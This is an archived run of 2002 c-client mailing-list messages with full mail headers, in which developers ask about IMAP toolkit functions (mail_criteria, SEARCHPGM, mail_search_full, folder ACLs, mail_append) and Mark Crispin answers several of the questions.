(PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9PH88Mb008020 for ; Fri, 25 Oct 2002 10:08:08 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Fri Oct 25 10:08:07 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9PH83nY020140 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 25 Oct 2002 10:08:04 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9PH7GqE034572; Fri, 25 Oct 2002 10:07:17 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9PGpmFD017624 for ; Fri, 25 Oct 2002 09:51:49 -0700 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Fri Oct 25 09:51:44 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9PGphnf007185 for ; Fri, 25 Oct 2002 09:51:44 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id JAA11434; Fri, 25 Oct 2002 09:51:37 -0700 (PDT) Message-Id: Date: Fri, 25 Oct 2002 09:50:19 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Guillaume Vaillant Cc: c-client@u.washington.edu Subject: re: Problem with the mail_copy_full function In-Reply-To: <001f01c27c3f$5789fcc0$b9a638d5@unicite.fr.netcentrex.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Are you sure that the message isn't deleted? Note that "deleted" means that the \Deleted flag is set. You have to call mail_expunge() to remove the message. From pinedev@shivax2.cac.washington.edu Fri Oct 25 12:12:37 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 25 Oct 2002 12:12:37 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9PJCaMb013264 for ; Fri, 25 Oct 2002 12:12:36 -0700 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Fri Oct 25 12:12:34 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9PJCXnw008376 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 25 Oct 2002 12:12:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9PJBZ6i088868; Fri, 25 Oct 2002 12:11:35 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9PJ5uFD038220 for ; Fri, 25 Oct 2002 12:05:57 -0700 Received: FROM mxu4.u.washington.edu BY mailscan5.cac.washington.edu ; Fri Oct 25 12:05:56 2002 -0700 Received: from samera.com (mail.samera.com.py [200.85.40.10]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9PJ5hIr024974 for ; Fri, 25 Oct 2002 12:05:53 -0700 Received: from samera.com.py (sojourner.samera.com [192.168.1.1]) by samera.com (8.11.6/8.11.6) with ESMTP id g9PJ5H401644 for ; Fri, 25 Oct 2002 16:05:35 -0300 Message-Id: <3DB995EE.2070900@samera.com.py> Date: Fri, 25 Oct 2002 16:05:18 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Oliver Schulze L." To: c-client@u.washington.edu Subject: mail_criteria() for IMAP4 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: es-py, en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I have read that the function mail_criteria() only support IMAP2 search criteria. Is there any function available for IMAP4? I need this same function: SEARCHPGM *mail_criteria (char *criteria); but I need that the function understand IMAP4 search criteria. In particular, the criteria: SENTSINCE Thanks Oliver -- Oliver Schulze L. oliver@samera.com.py -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Oct 25 12:24:52 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 25 Oct 2002 12:24:52 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9PJOqMb013928 for ; Fri, 25 Oct 2002 12:24:52 -0700 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Fri Oct 25 12:24:50 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9PJOnnY024977 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 25 Oct 2002 12:24:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9PJIwxQ017372; Fri, 25 Oct 2002 12:18:58 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9PJGQFD048788 for ; Fri, 25 Oct 2002 12:16:26 -0700 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Fri Oct 25 12:16:23 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9PJGNMG006288 for ; Fri, 25 Oct 2002 12:16:23 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id MAA11638; Fri, 25 Oct 2002 12:15:19 -0700 (PDT) Message-Id: Date: Fri, 25 Oct 2002 12:13:44 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Oliver Schulze L." Cc: c-client@u.washington.edu Subject: re: mail_criteria() for IMAP4 In-Reply-To: <3DB995EE.2070900@samera.com.py> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN mail_criteria() is a compatibility function for old programs and supports IMAP2 criteria only. Modern programs should build a SEARCHPGM and use mail_search_full() instead of using the old interface. From pinedev@shivax2.cac.washington.edu Fri Oct 25 12:35:45 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 25 Oct 2002 12:35:45 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9PJZjMb014314 for ; Fri, 25 Oct 2002 12:35:45 -0700 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Oct 25 12:35:40 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9PJZdnw009049 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 25 Oct 2002 12:35:40 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9PJXtxQ006272; Fri, 25 Oct 2002 12:33:55 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9PJVUFD072018 for ; Fri, 25 Oct 2002 12:31:30 -0700 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Fri Oct 25 12:31:29 2002 -0700 Received: from samera.com (mail.samera.com.py [200.85.40.10]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9PJVKA9004156 for ; Fri, 25 Oct 2002 12:31:27 -0700 Received: from samera.com.py (sojourner.samera.com [192.168.1.1]) by samera.com (8.11.6/8.11.6) with ESMTP id g9PJUT403362; Fri, 25 Oct 2002 16:30:57 -0300 Message-Id: <3DB99BD5.80800@samera.com.py> Date: Fri, 25 Oct 2002 16:30:29 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Oliver Schulze L." To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: mail_criteria() for IMAP4 In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: es-py, en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, thanks for the email mail_criteria() is used in php 4.1.2 for creating a SEARCHPGM and then a call to mail_search_full() is made. How do I create a IMAP4 compatible SEARCHPGM? Can I just create a new variable of type SEARCHPGM and edit its structure variable by hand? Or is there a function for doing this? I also just patched src/c-client/mail.c for accepting SENTSINCE criteria. Can I post the patch here? Is just a 1 line patch. Oliver Mark Crispin wrote: >mail_criteria() is a compatibility function for old programs and supports >IMAP2 criteria only. > >Modern programs should build a SEARCHPGM and use mail_search_full() instead of >using the old interface. > > -- Oliver Schulze L. oliver@samera.com.py From pinedev@shivax2.cac.washington.edu Fri Oct 25 12:47:03 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 25 Oct 2002 12:47:03 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9PJl3Mb014684 for ; Fri, 25 Oct 2002 12:47:03 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Oct 25 12:47:02 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9PJkxnY025586 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 25 Oct 2002 12:46:59 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9PJj9xQ032964; Fri, 25 Oct 2002 12:45:10 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9PJbeFD058426 for ; Fri, 25 Oct 2002 12:37:40 -0700 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Fri Oct 25 12:37:39 2002 -0700 Received: from samera.com (mail.samera.com.py [200.85.40.10]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9PJbSMI011346 for ; Fri, 25 Oct 2002 12:37:37 -0700 Received: from samera.com.py (sojourner.samera.com [192.168.1.1]) by samera.com (8.11.6/8.11.6) with ESMTP id g9PJbP403988; Fri, 25 Oct 2002 16:37:25 -0300 Message-Id: <3DB99D75.7050807@samera.com.py> Date: Fri, 25 Oct 2002 16:37:25 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Oliver Schulze L." To: Steve Hubert Cc: c-client@u.washington.edu Subject: Re: mail_criteria() for IMAP4 In-Reply-To: <3DB995EE.2070900@samera.com.py> References: <3DB995EE.2070900@samera.com.py> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: es-py, en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Steve, thanks, that will work fine in that case. I trying to fix bug# http://bugs.php.net/bug.php?id=15238 and I think a IMAP4 version of mail_criteria will do the work. I'm studing mail.c and I think a IMAP4 version of mail_criteria should be posible to make. I'm comparing the search criteria in both RFC(IMAP2 and 4) to patch mail_criteria the right way. Regards Oliver Steve Hubert wrote: >On Fri, 25 Oct 2002, Oliver Schulze L. wrote: > > > >>I need this same function: >>SEARCHPGM *mail_criteria (char *criteria); >>but I need that the function understand IMAP4 search criteria. >>In particular, the criteria: SENTSINCE >> >>Thanks >>Oliver >> >> > >For this special case I use > > pgm = mail_criteria("SINCE "); > pgm->sentsince = pgm->since; > pgm->since = 0; > >which is easier than figuring out the correct number to put in sentsince >yourself. > > > -- Oliver Schulze L. oliver@samera.com.py From pinedev@shivax2.cac.washington.edu Fri Oct 25 12:48:33 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 25 Oct 2002 12:48:33 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9PJmXMb014738 for ; Fri, 25 Oct 2002 12:48:33 -0700 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Fri Oct 25 12:48:33 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9PJmWnY025645 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 25 Oct 2002 12:48:32 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9PJlcxQ023740; Fri, 25 Oct 2002 12:47:38 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9PJecFD029760 for ; Fri, 25 Oct 2002 12:40:38 -0700 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Fri Oct 25 12:40:20 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9PJeIMG012138 for ; Fri, 25 Oct 2002 12:40:20 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id MAA11665; Fri, 25 Oct 2002 12:39:53 -0700 (PDT) Message-Id: Date: Fri, 25 Oct 2002 12:33:54 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Oliver Schulze L." Cc: c-client@u.washington.edu Subject: Re: mail_criteria() for IMAP4 In-Reply-To: <3DB99BD5.80800@samera.com.py> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN To create a SEARCHPGM, call mail_new_searchpgm() and then set the fields as you wish. When you call mail_search_full(), either set SE_FREE or be sure to call mail_free_searchpgm() when you are finished with the SEARCHPGM. It should be easier to manipulate a SEARCHPGM than it is to build a search string. If you use a static structure, be sure to zero it out (e.g. with a memset()) and do *not* set SE_FREE. You're welcome to post patches. However, as I indicated in my previous message, mail_criteria() is an obsolete interface and I am not going to support it for IMAP4. From pinedev@shivax2.cac.washington.edu Fri Oct 25 12:57:10 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 25 Oct 2002 12:57:10 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9PJvAMb015081 for ; Fri, 25 Oct 2002 12:57:10 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Fri Oct 25 12:57:08 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9PJv8nY025875 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 25 Oct 2002 12:57:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9PJspxQ013424; Fri, 25 Oct 2002 12:54:51 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9PJqhFD053576 for ; Fri, 25 Oct 2002 12:52:44 -0700 Received: FROM mxu0.u.washington.edu BY mailscan4.cac.washington.edu ; Fri Oct 25 12:52:42 2002 -0700 Received: from samera.com (mail.samera.com.py [200.85.40.10]) by mxu0.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9PJqWRf028478 for ; Fri, 25 Oct 2002 12:52:39 -0700 Received: from samera.com.py (sojourner.samera.com [192.168.1.1]) by samera.com (8.11.6/8.11.6) with ESMTP id g9PJqE404967; Fri, 25 Oct 2002 16:52:14 -0300 Message-Id: <3DB9A0EE.6070806@samera.com.py> Date: Fri, 25 Oct 2002 16:52:14 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Oliver Schulze L." To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: mail_criteria() for IMAP4 In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: es-py, en-us X-Perlmx-Spam: Gauge=, Probability=0%, Report="IN_REP_TO, USER_AGENT, X_ACCEPT_LANG" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, thanks for the instrucctions. Will check it. Also, is there a function that can parse a string and convert it to a SEARCHPGM? In php the string provided by the user must be parsed and then a SEARCHPGM must be created. mail_criteria() does this, thats because it is still used in php 4.1.2 About the patch, it is comming in a few hours. Oliver Mark Crispin wrote: >To create a SEARCHPGM, call mail_new_searchpgm() and then set the fields as >you wish. When you call mail_search_full(), either set SE_FREE or be sure to >call mail_free_searchpgm() when you are finished with the SEARCHPGM. > >It should be easier to manipulate a SEARCHPGM than it is to build a search >string. > >If you use a static structure, be sure to zero it out (e.g. with a memset()) >and do *not* set SE_FREE. > >You're welcome to post patches. However, as I indicated in my previous >message, mail_criteria() is an obsolete interface and I am not going to >support it for IMAP4. > > -- Oliver Schulze L. oliver@samera.com.py From pinedev@shivax2.cac.washington.edu Mon Oct 28 02:15:07 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 28 Oct 2002 02:15:07 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9SAF7Mb006312 for ; Mon, 28 Oct 2002 02:15:07 -0800 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Mon Oct 28 02:15:06 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9SAF5nw013468 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 28 Oct 2002 02:15:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9SACmpB028500; Mon, 28 Oct 2002 02:12:49 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9SA8mFD114384 for ; Mon, 28 Oct 2002 02:08:48 -0800 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Oct 28 02:08:46 2002 -0800 Received: from www.unicite.fr.netcentrex.net ([62.161.167.194]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9SA8fIr000311 for ; Mon, 28 Oct 2002 02:08:46 -0800 Received: from droopy (droopy.unicite.fr.netcentrex.net [213.56.166.185]) by www.unicite.fr.netcentrex.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id VYFP8BYT; Mon, 28 Oct 2002 11:12:35 +0100 Message-Id: <00f401c27e6a$2ef66cd0$b9a638d5@unicite.fr.netcentrex.net> Date: Mon, 28 Oct 2002 11:10:03 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Guillaume Vaillant" To: Subject: IMAPIV and ACL on folder MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I want to know if it's possible to modify the ACL for a specific folder with the c-client API ? l - lookup (mailbox is visible to LIST/LSUB commands) r - read (SELECT the mailbox, perform CHECK, FETCH, PARTIAL, SEARCH, COPY from mailbox) s - keep seen/unseen information across sessions (STORE SEEN flag) w - write (STORE flags other than SEEN and DELETED) i - insert (perform APPEND, COPY into mailbox) p - post (send mail to submission address for mailbox, not enforced by IMAP4 itself) c - create (CREATE new sub-mailboxes in any implementation-defined hierarchy) d - delete (STORE DELETED flag, perform EXPUNGE) a - administer (perform SETACL) Thank's for your help Guyom. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Oct 28 05:28:54 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 28 Oct 2002 05:28:54 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9SDSsMb011451 for ; Mon, 28 Oct 2002 05:28:54 -0800 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Oct 28 05:28:53 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9SDSknY000566 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 28 Oct 2002 05:28:46 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9SDQU6i095840; Mon, 28 Oct 2002 05:26:31 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9SDNiFD114324 for ; Mon, 28 Oct 2002 05:23:44 -0800 Received: FROM mxu4.u.washington.edu BY mailscan5.cac.washington.edu ; Mon Oct 28 05:23:42 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9SDNfIr023299 for ; Mon, 28 Oct 2002 05:23:42 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id FAA16379; Mon, 28 Oct 2002 05:23:36 -0800 (PST) Message-Id: Date: Mon, 28 Oct 2002 05:21:59 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Guillaume Vaillant Cc: c-client@u.washington.edu Subject: re: IMAPIV and ACL on folder In-Reply-To: <00f401c27e6a$2ef66cd0$b9a638d5@unicite.fr.netcentrex.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN There are IMAP-only interfaces in c-client's IMAP driver for calling the RFC 2086 ACL commands, but there is currently no general interface. RFC 2086 has some design problems which make it difficult to implement for filesystem mailboxes. These design problems are being worked on in a successor specification to RFC 2086, and c-client will probably implement that successor specification. From pinedev@shivax2.cac.washington.edu Mon Oct 28 09:37:57 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 28 Oct 2002 09:37:57 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9SHbvMb018304 for ; Mon, 28 Oct 2002 09:37:57 -0800 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Mon Oct 28 09:37:55 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9SHbtnY007021 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 28 Oct 2002 09:37:55 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9SHaqqE014962; Mon, 28 Oct 2002 09:36:53 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9SHUFFD102478 for ; Mon, 28 Oct 2002 09:30:16 -0800 Received: FROM mxu0.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Oct 28 09:30:14 2002 -0800 Received: from www.unicite.fr.netcentrex.net ([62.161.167.194]) by mxu0.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9SHU6Rf012119 for ; Mon, 28 Oct 2002 09:30:11 -0800 Received: from droopy (droopy.unicite.fr.netcentrex.net [213.56.166.185]) by www.unicite.fr.netcentrex.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id VYFP8C2H; Mon, 28 Oct 2002 18:34:03 +0100 Message-Id: <042901c27ea7$d983ffe0$b9a638d5@unicite.fr.netcentrex.net> Date: Mon, 28 Oct 2002 18:31:29 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Guillaume Vaillant" To: Subject: mail_append() function with IMAP4 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Perlmx-Spam: Gauge=, Probability=0%, Report="" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I'm a new user of the c-client API and I need help to use the mail_append(Stream, mailbox, STRING *message) function. In fact I want to put a new composed message with attachments in a particular folder of my IMAP account. To do that i try to connect on this folder and retrieve the stream : it's OK And after I want to build this message and post it in the folder with the mail_append function. My first question is : Is it the good way and the good function to do this action ? I have a big problem. I don't know how to create the STRING structure which contains my message. I think I have to give the : FROM, TO, Subject, Body and the local files to Attach but I don't know how to do that. Does someone can help me ? Thank's Guyom -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Oct 28 09:57:47 2002 -0800 